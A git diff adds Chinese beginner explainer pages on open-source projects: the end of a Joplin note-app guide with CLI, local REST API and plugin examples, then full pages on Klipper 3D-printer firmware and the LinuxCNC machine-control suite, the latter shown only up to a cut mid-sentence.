端到端加密(E2EE) + +在同步层可选开启:密钥由用户掌握,服务器/网盘只见加密 blob。适合把笔记放在不可信第三方存储上。注意:**丢失主密码无法恢复**,需自行备份密钥。 + +### 7. 导入导出(Interop) + +| 格式 | 用途 | +|------|------| +| ENEX | 从 Evernote 迁入 | +| JEX | Joplin 完整交换格式(多笔记 + 资源打包) | +| MD / RAW | 与外部 Git、编辑器协作 | +| HTML | 主要桌面 GUI 导出 | + +### 8. 插件架构(简述) + +插件脚本在 **独立进程** 运行,通过 IPC 调用主进程 API,崩溃不拖垮主程序。桌面端用 `BrowserWindow` 隔离;API 分平台实现(桌面有编辑器相关接口,移动端子集)。详见仓库 `readme/dev/spec/plugins.md`。 + +### 9. Data API / Web Clipper 服务 + +在桌面端 **Web Clipper 选项** 中启动本地 REST 服务(常见端口 **41184**)。外部请求需带 **token** 查询参数。插件在 Clipper 未启动时也可走内部 API。 + +### 10. Joplin 不是什么 + +它不是实时协作白板(无 Google Docs 式共编);不是块级双链图谱(那是 Logseq / Obsidian 强项);不是公司统一知识库 SaaS。它的核心是 **隐私优先的 Markdown 笔记柜 + 可选同步 + 剪藏与自动化接口**。 + +--- + +## 安装与第一次打开 + +### 桌面端(推荐) + +1. 从 [joplinapp.org](https://joplinapp.org) 或 [GitHub Releases](https://github.com/laurent22/joplin/releases) 安装对应平台包。 +2. 启动后 **创建笔记本**,例如 `Inbox`、`学习笔记`。 +3. 新建笔记,在设置中确认默认编辑器为 **Markdown**(亦可切换所见即所得)。 +4. **工具 → Web Clipper 选项**:记下端口与 token,供 API/剪藏扩展使用。 +5. (可选)**工具 → 选项 → 同步**:配置 WebDAV / Nextcloud 等,先小范围试同步再全量。 + +### 终端 CLI + +安装桌面版后通常附带 `joplin` 命令(或单独装 `joplin-cli`)。适合脚本化导入导出、无头服务器定时任务。 + +### 从 Evernote 迁移 + +在 Evernote 导出 **ENEX**(按笔记本),Joplin:**文件 → 导入 → ENEX**,选择目标笔记本。大批量导入建议先用 CLI 观察日志。 + +--- + +## 代码示例 1:CLI 导入、导出与同步 + +以下命令假设已安装 CLI 且 profile 已初始化(首次运行 `joplin` 会提示配置目录)。 + +```bash +# 从 Evernote 导出的 ENEX 导入到默认笔记本 +joplin import --format enex /path/to/evernote-export/MyNotebook.enex + +# 仅导出某一笔记本为 Markdown 目录(便于放进 Git) +joplin export --format md --notebook "学习笔记" /tmp/joplin-md-export + +# 导出完整 JEX 归档(含资源,适合整机备份) +joplin export --format jex /tmp/backup-$(date +%Y%m%d).jex + +# 同步到已在选项里配置好的目标(WebDAV / Dropbox 等) +joplin sync + +# 列出最近更新的 5 条笔记(排查脚本是否写入成功) +joplin notes -l 5 +``` + +**阅读要点:** + +- `import --format enex` 会解析 Evernote 标签、资源与创建时间;超大 ENEX 耗时会变长,属正常现象。 +- `export --format md` 得到的是 **可读 Markdown 树**,适合与 `logseq` / `Obsidian` 联用,但 Joplin 特有元数据可能简化。 +- `sync` 前务必在 GUI 或 `joplin config` 中配好同步目标;E2EE 开启后各客户端需同一密钥。 +- CLI 与 GUI 共享同一 SQLite 数据库,**不要两边同时大批量导入**以免锁冲突。 + +--- + +## 代码示例 2:Data API — 用 curl 创建与检索笔记 + +在 Joplin 桌面端启用 Web Clipper 服务后,将 `YOUR_TOKEN` 替换为选项页中的 token: + +```bash +# 列出笔记(分页参数可选) +curl -s "http://localhost:41184/notes?token=YOUR_TOKEN&limit=10" | jq . + +# 在指定笔记本创建一条 Markdown 笔记(parent_id 为笔记本 ID) +curl -s -X POST "http://localhost:41184/notes?token=YOUR_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{ + "title": "API 写入测试", + "body": "## 小节\n\n- [ ] 待办项\n- 正文支持 **粗体** 与 `代码`", + "parent_id": "NOTEBOOK_ID_HERE" + }' + +# 按关键字搜索(全文检索接口) +curl -s "http://localhost:41184/search?token=YOUR_TOKEN&query=Joplin&type=note" | jq . +``` + +用 Python 批量写入时的最小模式(与本机 Clipper 服务对话): + +```python +import json +import urllib.request + +TOKEN = "YOUR_TOKEN" +BASE = f"http://localhost:41184/notes?token={TOKEN}" + +payload = { + "title": "日报 2026-06-13", + "body": "- 完成 Joplin 笔记\n- 同步状态:OK", + "parent_id": "NOTEBOOK_ID_HERE", +} +req = urllib.request.Request( + BASE, + data=json.dumps(payload).encode("utf-8"), + headers={"Content-Type": "application/json"}, + method="POST", +) +with urllib.request.urlopen(req) as resp: + print(resp.read().decode()) +``` + +**阅读要点:** + +- 所有请求必须带 `token`;勿把 token 提交到公共仓库。 +- `parent_id` 可通过 `GET /folders` 获取笔记本列表后填入。 +- 创建时可用 `body`(Markdown)或 `body_html`(HTML),二选一。 +- 自动化场景(RSS、Zapier 自托管替代)常用此 API;Jan-Piet Mens 曾用类似方式把推文归档进 Joplin。 + +--- + +## 代码示例 3:插件 — 注册 JSON 导出模块(节选) + +插件在独立进程加载,通过 `joplin.interop.registerExportModule` 扩展导出格式。以下为仓库内测试插件 `json_export` 的核心结构(TypeScript): + +```typescript +import joplin from 'api'; +import { FileSystemItem } from 'api/types'; + +joplin.plugins.register({ + onStart: async function () { + await joplin.interop.registerExportModule({ + description: 'JSON Export Directory', + format: 'json', + target: FileSystemItem.Directory, + isNoteArchive: false, + + onInit: async (context) => { + await fs.mkdirp(context.destPath); + await fs.mkdirp(`${context.destPath}/resources`); + }, + + onProcessItem: async (context, _itemType, item) => { + const filePath = `${context.destPath}/${item.id}.json`; + await fs.writeFile(filePath, JSON.stringify(item), 'utf8'); + }, + + onProcessResource: async (context, _resource, filePath) => { + const dest = `${context.destPath}/resources/${path.basename(filePath)}`; + await fs.copy(filePath, dest); + }, + }); + }, +}); +``` + +**阅读要点:** + +- 生命周期钩子:`onInit` → 逐条 `onProcessItem` / `onProcessResource` → `onClose`。 +- `format` 与文件扩展名由模块声明;导入侧需另实现 `registerImportModule`(往往更复杂,要避免 ID 冲突)。 +- 开发插件可用官方 generator,打包后在 **设置 → 插件** 安装 `.jpl`。 +- 多进程设计意味着插件死循环不会直接冻结主 UI,但应谨慎处理异步与文件 I/O。 + +--- + +## 本地数据长什么样 + +桌面版配置目录(因平台而异,macOS 常见在 `~/.config/joplin-desktop` 或应用数据路径)内含 **SQLite 数据库** `database.sqlite`,笔记正文以 Markdown 存在库中,资源在 `resources/` 子目录。你日常不必手改数据库;备份请用 **JEX 导出** 或同步目标上的副本,而不是直接复制正在写入的 DB 文件。 + +单条笔记在 UI 里的 Markdown 示例: + +```markdown +# 周会纪要 2026-06-13 + +参会:[[张三]]、[[李四]] + +## 结论 + +- [ ] 跟进 API 限流方案 +- [x] 确认 Joplin 同步窗口改为夜间 + +## 附件 + +![架构草图](:/abc123def456.png) +``` + +标签在 UI 中单独管理,不会全部写进 Markdown 文件头;这与「纯文本优先」的 Obsidian frontmatter 习惯不同,迁移时要靠导出选项或插件补齐元数据。 + +--- + +## 推荐工作流(零基础 7 天) + +| 天 | 动作 | 目标 | +|----|------|------| +| 1 | 建 `Inbox` + 写 3 条纯 Markdown | 熟悉笔记本与编辑器 | +| 2 | 安装浏览器 Web Clipper,剪 2 篇文 | 理解笔记本目标与标签 | +| 3 | 用 `- [ ]` 做待办清单 | 笔记 + 任务合一 | +| 4 | 配置一种同步(或明确「仅本地」) | 理解 offline first | +| 5 | `joplin export --format md` 备份 | 感受数据可搬运 | +| 6 | 试 `curl` 创建一条 API 笔记 | 打开自动化想象空间 | +| 7 | 浏览社区插件(日历、大纲增强等) | 按需扩展,避免一次装太多 | + +--- + +## 与相近工具对比(简表) + +| 维度 | Joplin | Evernote | Obsidian | Standard Notes | +|------|--------|----------|----------|----------------| +| 开源 | ✅ AGPL | ❌ | 闭源免费 | ✅ 部分 | +| 默认存储 | 本地 SQLite + MD | 云专有 | 本地 MD 文件 | 加密文稿 | +| Evernote 导入 | ✅ ENEX | — | 需插件 | 有限 | +| 块级双链 | ❌ | ❌ | ✅ | ❌ | +| 官方剪藏 | ✅ | ✅ | 第三方 | ❌ | +| 同步 | 多后端可选 | 官方云 | 第三方插件 | 官方同步 | +| CLI / REST | ✅ 强 | 弱 | 插件 | 有限 | + +若你已从 Evernote 迁出、重视 **Markdown + 自托管同步 + 剪藏**,Joplin 往往是阻力最小的第一站;若你更需要 **wikilink 图谱**,可再把 Joplin 导出 MD 迁入 Obsidian / Logseq。 + +--- + +## 常见问题 + +**Q:Joplin 和 Obsidian 选哪个?** +Joplin 偏「全能笔记 App + 同步 + 剪藏」,开箱自带移动端与 ENEX;Obsidian 偏「本地 MD 知识库 + 插件生态」。可以 Joplin 采集,定期 MD 导出到 Obsidian 做图谱。 + +**Q:同步冲突怎么办?** +保留冲突副本笔记,手动合并后删除多余版本。避免多设备同时大规模重命名笔记本。 + +**Q:E2EE 和网盘加密一样吗?** +不一样。E2EE 在 Joplin 客户端加密后再上传,网盘厂商无法读正文;网盘自带加密通常仍由厂商控钥。 + +**Q:插件安全吗?** +只装来源可信的插件;插件能访问 API 与部分 UI。更新 Joplin 后偶尔需等待插件兼容新版本。 + +**Q:命令行 `joplin` 找不到?** +确认安装的是桌面集成版,或参考文档安装 CLI 包;macOS 有时需把 `joplin` 链接到 `PATH`。 + +--- + +## 延伸资源 + +- 官方文档:[joplinapp.org/help](https://joplinapp.org/help/) +- 同步说明:[readme/apps/sync](https://github.com/laurent22/joplin/blob/dev/readme/apps/sync/index.md) +- Data API:[REST API 参考](https://joplinapp.org/help/api/references/rest_api/) +- 插件开发:[Plugin API](https://joplinapp.org/api/references/plugin_api/) +- 社区论坛:[discourse.joplinapp.org](https://discourse.joplinapp.org/) +- 开源介绍:[Opensource.com — Joplin](https://opensource.com/article/17/12/joplin-open-source-evernote-alternative) + +--- + +## 小结 + +Joplin 用 **Markdown 笔记 + 本地优先 + 可选多后端同步** 回应 Evernote 式需求:笔记本与标签组织信息,资源挂附件,Web Clipper 收网页,CLI 与 REST API 接自动化。它不把你的记忆锁在单一云服务里——**柜子在你家,钥匙在你手**,同步只是你把备份副本放到选定的远处货架。零基础先写起来、再配同步与导出;当你需要把外部世界持续灌进笔记本时,API 与插件会把 Joplin 从「记事本」推进成个人知识管道的枢纽。 diff --git a/src/content/docs/projects/klipper.md b/src/content/docs/projects/klipper.md new file mode 100644 index 000000000..a76b2f163 --- /dev/null +++ b/src/content/docs/projects/klipper.md @@ -0,0 +1,283 @@ +--- +title: Klipper — 把 3D 打印机的「大脑」和「手脚」拆开的固件架构 +来源: 'https://github.com/Klipper3d/klipper' +日期: '2026-06-13' +子分类: 嵌入式 +分类: 操作系统 +难度: '中级' +provenance: 'pipeline-v3' +--- + +## 是什么 + +**Klipper** 是 [Klipper3d/klipper](https://github.com/Klipper3d/klipper) 维护的一套 **3D 打印机固件**,但它和传统 Marlin / RepRapFirmware 的写法完全不同:不是把「算路径、控温度、解析 G-code、驱动步进电机」全部塞进一块 8 位 MCU,而是拆成 **主机(Host)+ 微控制器(MCU)** 两层协作。 + +日常类比:**交响乐团 vs 指挥 + 乐手**。 + +传统一体固件像一个小型乐队——指挥兼小提琴手兼定音鼓,每个人都要会所有乐器,舞台(Flash/RAM)又只有几平米,复杂曲子(高速打印、输入整形、多 MCU)一上就挤爆。Klipper 则请一位 **指挥(树莓派 / 小主机上的 Klippy,Python 实现)** 在后台算好整首曲子的每个音符时间点,再把 **极短、极准的节拍表** 发给 **乐手(MCU 上的 C 固件)** 按微秒级时间表拨弦(发步进脉冲)。指挥负责「想」,乐手负责「到点动」——分工清楚,各自只做最擅长的事。 + +官方文档把这套关系概括为:主机做 G-code 解析、运动学、前瞻(look-ahead)、温度算法;MCU 做 GPIO、步进调度、硬件定时器。二者通过 **低延迟二进制 RPC 协议**(串口 / USB / CAN)通信,连接时 MCU 还会下发 **data dictionary(数据字典)**,让主机动态知道「我能执行哪些命令」——换固件不必改主机代码。 + +和 [[octoprint]] / Mainsail / Fluidd 的关系是上下游:它们提供 Web 界面发 G-code;Klipper 的 `klippy` 进程接收 G-code 并真正驱动打印机。和 [[marlin]] 的对比则是架构级:Marlin 全在 MCU;Klipper 把算力搬到 Linux 主机,MCU 只做实时执行,因此同一颗 ATmega 也能跑到 17 万步/秒以上,新 MCU 可达数百万步/秒。 + +## 解决什么问题 + +消费级 3D 打印机固件长期面临一组矛盾: + +| 痛点 | 传统 MCU 一体固件 | Klipper 的回应 | +| --- | --- | --- | +| 算力天花板 | 8/32 位 MCU RAM/Flash 有限,复杂算法难塞进去 | 主机跑 Python + C helper,算法迭代快 | +| 步进精度 | 常用 Bresenham 等近似,高速时易丢步/共振 | 按物理加速度算精确步进时刻,精度约 25µs | +| 改配置 | 常需重新编译、刷写 MCU 固件 | 几乎全部配置在 `printer.cfg`,改完重启服务即可 | +| 多 MCU | 多板协同、时钟同步复杂 | 配置里多写几个 `[mcu xxx]` 段,主机做 clock sync | +| 功能扩展 | C 宏、条件编译,门槛高 | `gcode_macro` + Jinja2 模板,用户可编程宏 | +| 打印质量 | 转角挤出、振纹(ringing)难调 | Smooth Pressure Advance、Input Shaping 等内建 | + +Klipper 要回答的核心问题是:**能否用廉价 Linux 板(如 Raspberry Pi)的算力,换 MCU 上省下的复杂度,同时让步进 timing 比传统方案更准、更快?** + +## 核心概念 + +### 1. 三层架构:Host ↔ Protocol ↔ MCU + +``` +切片器 G-code + ↓ +Klippy (klippy/klippy.py) ← Python:解析、规划、温控、宏 + ↓ 二进制 RPC + data dictionary +MCU 固件 (src/stm32/, src/avr/ …) ← C:定时器调度、步进脉冲 + ↓ +步进驱动 / 加热棒 / 风扇 / 探针 +``` + +- **Klippy**:入口在 `klippy/klippy.py`,读 `printer.cfg`,加载 `[stepper_x]`、`[extruder]` 等模块,G-code 主循环在 `gcode.py` 的 `_process_commands()`。 +- **MCU 固件**:按架构分目录(`src/avr/`、`src/stm32/`、`src/rp2040/` 等),用 `DECL_COMMAND()` 声明主机可调用的命令。 +- **协议**:见官方 [Protocol](https://www.klipper3d.org/Protocol.html)——消息块带 CRC、序列号;主机启动时通过 `identify` 分块拉取 zlib 压缩的 JSON 字典。 + +人类可读协议示例(文档中的说明性文本,实际线上为压缩二进制): + +``` +set_digital_out pin=PA3 value=1 +queue_step oid=7 interval=7458 count=10 add=331 +queue_step oid=7 interval=117 add=1281 count=4 add=1281 +``` + +第一条开引脚,后面 `queue_step` 在指定 **MCU 时钟 tick** 排队步进脉冲——复杂轨迹在主机算好,MCU 只执行时间表。 + +### 2. `printer.cfg`:声明式打印机描述 + +Klipper **没有** Marlin 式「改源码再编译」的主流程。打印机几何、引脚、驱动、传感器全写在配置文件里,常见主文件路径为 `~/printer_data/config/printer.cfg`(因发行版而异)。 + +关键段落类型: + +| 配置段 | 作用 | +| --- | --- | +| `[mcu]` | 主控板串口 / CAN UUID、波特率 | +| `[printer]` | 运动学类型、`max_velocity`、`max_accel` | +| `[stepper_x]` 等 | 步进引脚、`rotation_distance`、微步、归零 | +| `[extruder]` | 挤出机、热端、PID | +| `[heater_bed]` | 热床 | +| `[gcode_macro …]` | 用户自定义 G-code 宏 | + +引脚命名直接用硬件名(如 `PA4`),可用 `!` 反相、`^` 上拉。 + +### 3. 运动规划:Look-ahead 与精确步进 + +`toolhead.py` 里的 **ToolHead** 维护移动队列,对连续 G1 做 **lookahead** 合并加减速,避免每个拐角都停到零。Klipper 强调:不用 Bresenham 走近似线,而用 **迭代求解器** 从运动学方程算步进时刻——对 delta、corexy、极坐标等非笛卡尔机同样适用。 + +相关高级功能: + +- **Smooth Pressure Advance**:补偿挤出机内压力,减轻转角渗料。 +- **Input Shaping**:用加速度计(如 ADXL345)测共振,抑制「鬼影/振纹」。 +- **Bed Mesh / 探针**:网格调平、BLTouch、Z 相位 endstop 等。 + +### 4. 多 MCU 与 clock sync + +一块板子管 XY,另一块管挤出机和热端——在 Klipper 里只需额外 `[mcu toolboard]` 段,引脚写成 `toolboard:PA1` 形式。主机 `mcu.py` 负责 **时钟同步**,补偿各板晶振漂移,对上层仍是「一台打印机」。 + +### 5. G-code 宏与 Jinja2:`gcode_macro` + +配置里可直接定义新 G-code 命令,正文是 **Jinja2 模板**,运行时展开成 G-code 序列。可读取 `printer.heater_bed.temperature` 等状态,做条件分支、循环——相当于给打印机写「脚本语言」,无需改 Klipper 源码。 + +### 6. API Server 与前端生态 + +除串口 G-code 外,Klipper 提供 **JSON API**(Unix socket),Mainsail、Fluidd、OctoPrint 插件等通过它与 `klippy` 交互。开发者可写外部 Job 监控、农场管理软件。 + +### 7. 支持的硬件面 + +- **主机**:Raspberry Pi、PC、部分 SBC。 +- **MCU**:AVR、STM32、LPC176x、RP2040/RP2350、PRU、Linux MCU 模式等。 +- **运动学**:cartesian、corexy、delta、polar、winch 等(见 `[printer]` 的 `kinematics`)。 + +## 代码示例 + +### 示例 1:最小可理解的 `printer.cfg` 片段 + +下面是一个 **笛卡尔机** 的骨架(引脚与 `rotation_distance` 需按你的硬件修改;官方 `config/` 目录有各机型样板): + +```ini +# 主控 MCU:USB 串口连接 +[mcu] +serial: /dev/serial/by-id/usb-Klipper_stm32f103xx_... +restart_method: command + +# 打印机全局运动限制 +[printer] +kinematics: cartesian +max_velocity: 300 +max_accel: 3000 +max_z_velocity: 15 +max_z_accel: 100 + +# X 轴步进(rotation_distance 见官方 Rotation Distance 文档) +[stepper_x] +step_pin: PF0 +dir_pin: PF1 +enable_pin: !PD7 +microsteps: 16 +rotation_distance: 40 +endstop_pin: ^PC0 +position_endstop: 0 +position_max: 235 +homing_speed: 50 + +[stepper_y] +step_pin: PF6 +dir_pin: !PF7 +enable_pin: !PD7 +microsteps: 16 +rotation_distance: 40 +endstop_pin: ^PC1 +position_endstop: 0 +position_max: 235 +homing_speed: 50 + +[stepper_z] +step_pin: PL3 +dir_pin: PL1 +enable_pin: !PK0 +microsteps: 16 +rotation_distance: 8 +endstop_pin: ^PD3 +position_endstop: 0.0 +position_max: 250 + +[extruder] +step_pin: PA4 +dir_pin: PA6 +enable_pin: !PA2 +microsteps: 16 +rotation_distance: 33.500 +nozzle_diameter: 0.400 +filament_diameter: 1.750 +heater_pin: PB4 +sensor_type: EPCOS 100K B57560G104F +sensor_pin: PK5 +control: pid +pid_Kp: 22.2 +pid_Ki: 1.08 +pid_Kd: 114 +min_temp: 0 +max_temp: 275 + +[heater_bed] +heater_pin: PH5 +sensor_type: Generic 3950 +sensor_pin: PK6 +control: watermark +min_temp: 0 +max_temp: 110 +``` + +改配置后通常执行 `sudo systemctl restart klipper`(或你的安装脚本提供的等价命令),**不必**重刷 MCU 固件——除非你要升级 Klipper 版本本身。 + +### 示例 2:带参数与状态读取的 `gcode_macro` + +官方 [Command templates](https://www.klipper3d.org/Command_Templates.html) 推荐:宏内若要用 `G1` 移动,先用 `SAVE_GCODE_STATE` / `G91` / `RESTORE_GCODE_STATE` 避免污染全局坐标模式。 + +```ini +[gcode_macro SET_BED_TEMPERATURE] +description: 设置热床目标温度,默认 60°C +gcode: + {% set bed_temp = params.TEMPERATURE|default(60)|float %} + M140 S{bed_temp} + M117 Bed target {bed_temp}C + +[gcode_macro MOVE_UP] +description: 相对当前位置 Z 轴上移 10mm +gcode: + SAVE_GCODE_STATE NAME=move_up_state + G91 + G1 Z10 F300 + RESTORE_GCODE_STATE NAME=move_up_state + +[gcode_macro QUERY_STATUS] +description: 在屏幕/终端显示挤出机与热床温度 +gcode: + M117 E:{printer.extruder.temperature|round(1)} / B:{printer.heater_bed.temperature|round(1)} +``` + +终端用法: + +```gcode +SET_BED_TEMPERATURE TEMPERATURE=70 +MOVE_UP +QUERY_STATUS +``` + +宏名大小写不敏感;带数字时数字须在末尾(`PROBE25` 合法,`PROBE25_FAST` 不合法)。 + +## 安装与日常运维(零基础路径) + +1. **刷 MCU 固件**:用 `make menuconfig` 选主板型号,编译后通过 `flash.sh` 或 UF2 烧录(详见 [Installation](https://www.klipper3d.org/Installation.html))。 +2. **装主机端**:Klipper + Moonraker(常见)+ Mainsail/Fluidd;或使用 KIAUH 等一键脚本。 +3. **拷贝/编写 `printer.cfg`**:从官方 `config/` 找最接近的机型,改 `serial`、引脚、`rotation_distance`。 +4. **校准**:`PID_CALIBRATE`、`PROBE_CALIBRATE`、Delta/CoreXY 调平等按文档逐步做。 +5. **升级**:拉 git 新版本 → 重编 MCU(若协议变)→ 重启服务;关注 [Config changes](https://www.klipper3d.org/Config_Changes.html) 以免配置项过时。 + +常用调试入口: + +- 日志:`~/printer_data/logs/klippy.log` +- 主机命令:`~/klipper/scripts/graph_accelerometer.py`(共振测量)、`GET_POSITION` 等 G-code +- 开发者先读 [Code overview](https://www.klipper3d.org/Code_Overview.html) + +## 性能与选型参考 + +官方 [Features](https://www.klipper3d.org/Features.html) 给出步进基准(单轴 / 三轴同时): + +| MCU 示例 | 1 轴 | 3 轴 | +| --- | --- | --- | +| 16MHz AVR | 157K 步/秒 | 99K | +| STM32F103 | 1180K | 818K | +| RP2040 | 4000K | 2571K | +| STM32H723 | 7429K | 8619K | + +高步进率 → 更高打印速度潜力;配合 Input Shaping 可在提速同时控制振纹。 + +## 与其他方案怎么选 + +| 方案 | 特点 | 更适合 | +| --- | --- | --- | +| **Marlin** | 全 MCU、生态最大、离线单板 | 不想挂 SBC、极简硬件 | +| **Klipper** | 主机+MCU、配置驱动、宏与 API 强 | 有 Pi、追求速度/质量/可编程 | +| **RepRapFirmware** | Duet 生态、G-code 宏也强大 | Duet 硬件用户 | + +若你已有树莓派和 USB 主板,Klipper 通常是 **性价比最高的升级路径**之一:硬件不必换,主要增加主机算力与配置学习成本。 + +## 学习资源 + +- 官方总览:[Overview](https://www.klipper3d.org/Overview.html) +- 配置全集:[Config Reference](https://www.klipper3d.org/Config_Reference.html) +- 协议与字典:[Protocol](https://www.klipper3d.org/Protocol.html) +- 源码树:`klippy/`(主机 Python)、`src/`(MCU C)、`config/`(样例配置) +- 社区:Klipper Discourse、各发行版 Discord;中文用户常搜「Klipper 安装」「printer.cfg 教程」 + +## 小结 + +Klipper 的本质不是「又一个 Marlin」,而是 **把 3D 打印机控制拆成「Linux 上算轨迹 + MCU 上准时步进」** 的分布式实时系统。零基础入门抓住四条即可: + +1. 分清 **Klippy(主机)** 与 **MCU 固件** 的职责; +2. 几乎所有行为由 **`printer.cfg`** 声明; +3. 主机与 MCU 靠 **data dictionary + 定时 queue_step** 协作; +4. 用 **`gcode_macro`** 扩展工作流,而不必 fork 固件。 + +当你能读懂一份官方样例配置、并成功跑通一次 PID 与 bed mesh,就已经从「会用切片软件」迈进「能驾驭打印机固件」的门槛了。 diff --git a/src/content/docs/projects/linuxcnc.md b/src/content/docs/projects/linuxcnc.md new file mode 100644 index 000000000..2d6ca03c6 --- /dev/null +++ b/src/content/docs/projects/linuxcnc.md @@ -0,0 +1,268 @@ +--- +title: LinuxCNC — 在 Linux 上跑完整 CNC「机床操作系统」 +来源: 'https://github.com/LinuxCNC/linuxcnc' +日期: '2026-06-13' +子分类: 嵌入式 +分类: 操作系统 +provenance: 'pipeline-v3' +--- + +## 是什么 + +**LinuxCNC** 是 [LinuxCNC/linuxcnc](https://github.com/LinuxCNC/linuxcnc) 维护的一套 **开源 CNC 机床控制软件套件**:在 Linux 上协调最多 **9 轴** 运动,驱动铣床、车床、激光切割机、等离子切割机、3D 打印机、机械臂、六足机器人等「按坐标精确运动的机器」。它不是单一固件,而是一组可深度定制的应用——GUI、实时运动控制、I/O、硬件抽象层(HAL)拼成完整闭环。 + +日常类比:**机床上的「总调度中心 + 接线间 + 操作面板」**。 + +想象一家自动化小工厂。CAM 软件写好「今天加工什么」(G-code 程序文件);操作员坐在 **操作面板**(AXIS、Touchy、QtDragon 等 GUI)前点按钮、看坐标、按急停。后台有个 **总调度**(EMCTASK + EMCMOT 运动控制器)按时间表指挥各轴何时加速、何时到位。真正连到电机驱动器、限位开关、主轴启停的那一堆线,不直接焊死在代码里,而是经过一间 **接线间**(HAL)——里面全是「虚拟插头」:谁输出脉冲、谁读限位、谁点亮「主轴就绪」灯,都用配置文件 **插线**,换一块 Mesa 板或并口接线不必改 C 源码。 + +与 [[grbl]] 对比:Grbl 是烧在 Arduino 上的 **单片机固件**,主机只发串口 G-code;LinuxCNC 跑在 **完整 Linux PC** 上,算力大、可接专业运动控制卡(Mesa、EtherCAT 等),适合工坊级铣床与多轴设备。与 [[klipper]] 对比:Klipper 把「规划」放主机、「脉冲」放 MCU;LinuxCNC 传统上在 **同一台 Linux 的实时线程** 里完成规划与步进(也可接硬件运动接口 offload),配置风格是 **INI + HAL** 而非 `printer.cfg`。 + +官方用户手册强调:LinuxCNC 已发展 **25 年以上**,GPL-2.0 许可;当前稳定文档对应 2.9 系列,GitHub 上约 2200+ stars,社区横跨全球创客与专业机修车间。 + +## 解决什么问题 + +在 LinuxCNC 出现之前,许多 DIY 与小型车间依赖 **Windows + 专有 CNC 软件** 或 **并口直吐脉冲**:换电脑、换系统、备份配置都痛苦,实时性受桌面系统调度影响,高级 I/O(刀库、Modbus 主轴、探针)往往要额外买闭源插件。 + +| 痛点 | 专有 / 并口方案 | LinuxCNC 的回应 | +| --- | --- | --- | +| 平台锁定 | 绑定 Windows 与特定硬件 | 开源 Linux,可 Live CD 或 deb 安装 | +| 接线与扩展 | 改线 = 改程序或不敢改 | HAL 用文本「网线」连接逻辑,组件可组合 | +| 多轴与多机型 | 一套软件一种机床 | 同一框架支持铣、车、激光、等离子 GUI | +| 配置可维护 | 参数散落、难版本管理 | 配置目录:`*.ini` + `*.hal` + 刀表,可 Git 管理 | +| 安全文化 | 仅靠软件急停 | 文档强调 **硬件急停链** 不可被软件替代 | + +核心问题:**能否用开源栈,在普通 PC 上可靠地执行 G-code,并把「机床长什么样」完全交给可编辑配置,而不是重新编译内核?** LinuxCNC 的答案支撑了全球大量改装铣床、雕刻机与工业 retrofit。 + +## 核心概念 + +### 1. 四大块:GUI、HAL、运动控制、任务执行 + +官方架构可简化为: + +``` +操作员 ↔ GUI(AXIS / Touchy / QtDragon …) + ↕ + EMCTASK(任务:读程序、模式切换) + ↕ + EMCMOT(运动:轨迹、速度规划) + EMCIO(数字 I/O) + ↕ + HAL(引脚/信号/参数 虚拟接线) + ↕ + 并口 / Mesa / EtherCAT / 其他 Supported Hardware + ↕ + 步进/伺服驱动、主轴、冷却、限位 +``` + +- **GUI**:人机界面;在 INI 里用 `DISPLAY = axis` 等选择。常见还有 GMOCCAPY、QtPlasmaC(等离子专用)、NGCGUI(子程序向导)。 +- **HAL(Hardware Abstraction Layer)**:把内部组件的 **pin(引脚)**、**signal(信号)**、**parameter(参数)** 连成网络;语法由 `halcmd` / `.hal` 文件描述。 +- **EMCMOT**:实时运动模块,处理关节空间轨迹、跟随误差等。 +- **INI 文件**:机床「身份证」——轴数、行程、步进每毫米脉冲数、GUI 类型、加载哪些 HAL 文件。 + +典型 3 轴并口步进配置,配置向导会生成目录 `My_CNC/`,内含 `My_CNC.ini`、`My_CNC.hal`、`custom.hal`、`custom_postgui.hal`、`tool.tbl` 等(见 [User Introduction](https://linuxcnc.org/docs/html/user/user-intro.html))。 + +### 2. INI:机床参数表 + +INI 按 **段(section)** 组织,方括号标名,如 `[TRAJ]`、`[AXIS_0]`、`[HAL]`。段内 `关键字 = 值`;同一配置目录下路径常相对于 INI 所在文件夹。 + +常见段职责: + +| 段 | 含义 | +| --- | --- | +| `[EMC]` | 版本、机器名、MACHINE 类型 | +| `[DISPLAY]` | 用哪个 GUI | +| `[TRAJ]` | 坐标系、轴数、最大速度 | +| `[AXIS_n]` | 每轴行程、回零、限位逻辑 | +| `[HAL]` | 启动时执行哪些 `.hal`、是否 `TWOPASS` | +| `[TASK]` | 任务控制器选项 | +| `[RS-232]` / `[SPINDLE]` 等 | 串口主轴、变频器 | + +`[HAL]` 段可列出多个 `HALFILE`,按顺序执行;还可 `POSTGUI_HALFILE` 在 GUI 创建 HAL 引脚 **之后** 再接线(例如接 PyVCP 面板上的 LED)。 + +### 3. HAL:软件里的配电箱 + +HAL 核心命令([`halcmd` / HAL Basics](https://linuxcnc.org/docs/html/hal/basic-hal.html)): + +| 命令 | 作用 | +| --- | --- | +| `loadrt` | 加载 **实时** 组件(如 `stepgen`、`pid`) | +| `loadusr` | 加载 **非实时** 用户空间组件(如 `halui`) | +| `addf` | 把组件函数挂到 **线程**(`base-thread` 快、`servo-thread` 慢且支持浮点) | +| `net` | 用 **信号** 连接多个 **引脚**(替代老式 `linksp`) | +| `setp` | 设置未联网引脚或 **参数** 的数值 | +| `sets` | 设置信号值(无 writer 时) | + +引脚方向规则:`IN` 可读;`OUT` 只能有一个 writer;`IO` 可双向但受信号上已有连接约束。并口引脚名里的 `in`/`out` 表示 **物理电气特性**,与 HAL 逻辑流向无关——读文档时要反过来理解。 + +线程分工典型模式: + +- **base-thread**(周期约几十微秒):并口读限位、发步进脉冲,**无浮点**。 +- **servo-thread**(周期约 1ms):运动控制、PID、逻辑门组件,**有浮点**。 + +### 4. 三种操作模式 + +操作员视角([User Introduction § Modes](https://linuxcnc.org/docs/html/user/user-intro.html)): + +| 模式 | 行为 | 典型用途 | +| --- | --- | --- | +| **Manual(手动)** | 单条即时命令:点动、开冷却 | 装刀、对刀、挪工件 | +| **Auto(自动)** | 运行整个 G-code 文件 | 批量加工 | +| **MDI** | 输入一行 G-code 立即执行 | 对刀 `G38.2`、改坐标系 `G10` | + +急停、Abort、进给倍率等在多模式下行为一致。AXIS 等 GUI 会 **自动切换模式** 以完成「对刀」「回零」等复合操作。 + +### 5. G-code 与刀表 + +程序默认放在配置旁的 `nc_files/` 或 INI 指定目录。`tool.tbl` 记录刀号、直径、长度,供 **刀长补偿** 与换刀逻辑使用。INI 可开 `INI_VARS = 1`,让 G-code 通过 `#<_ini[section]var>` 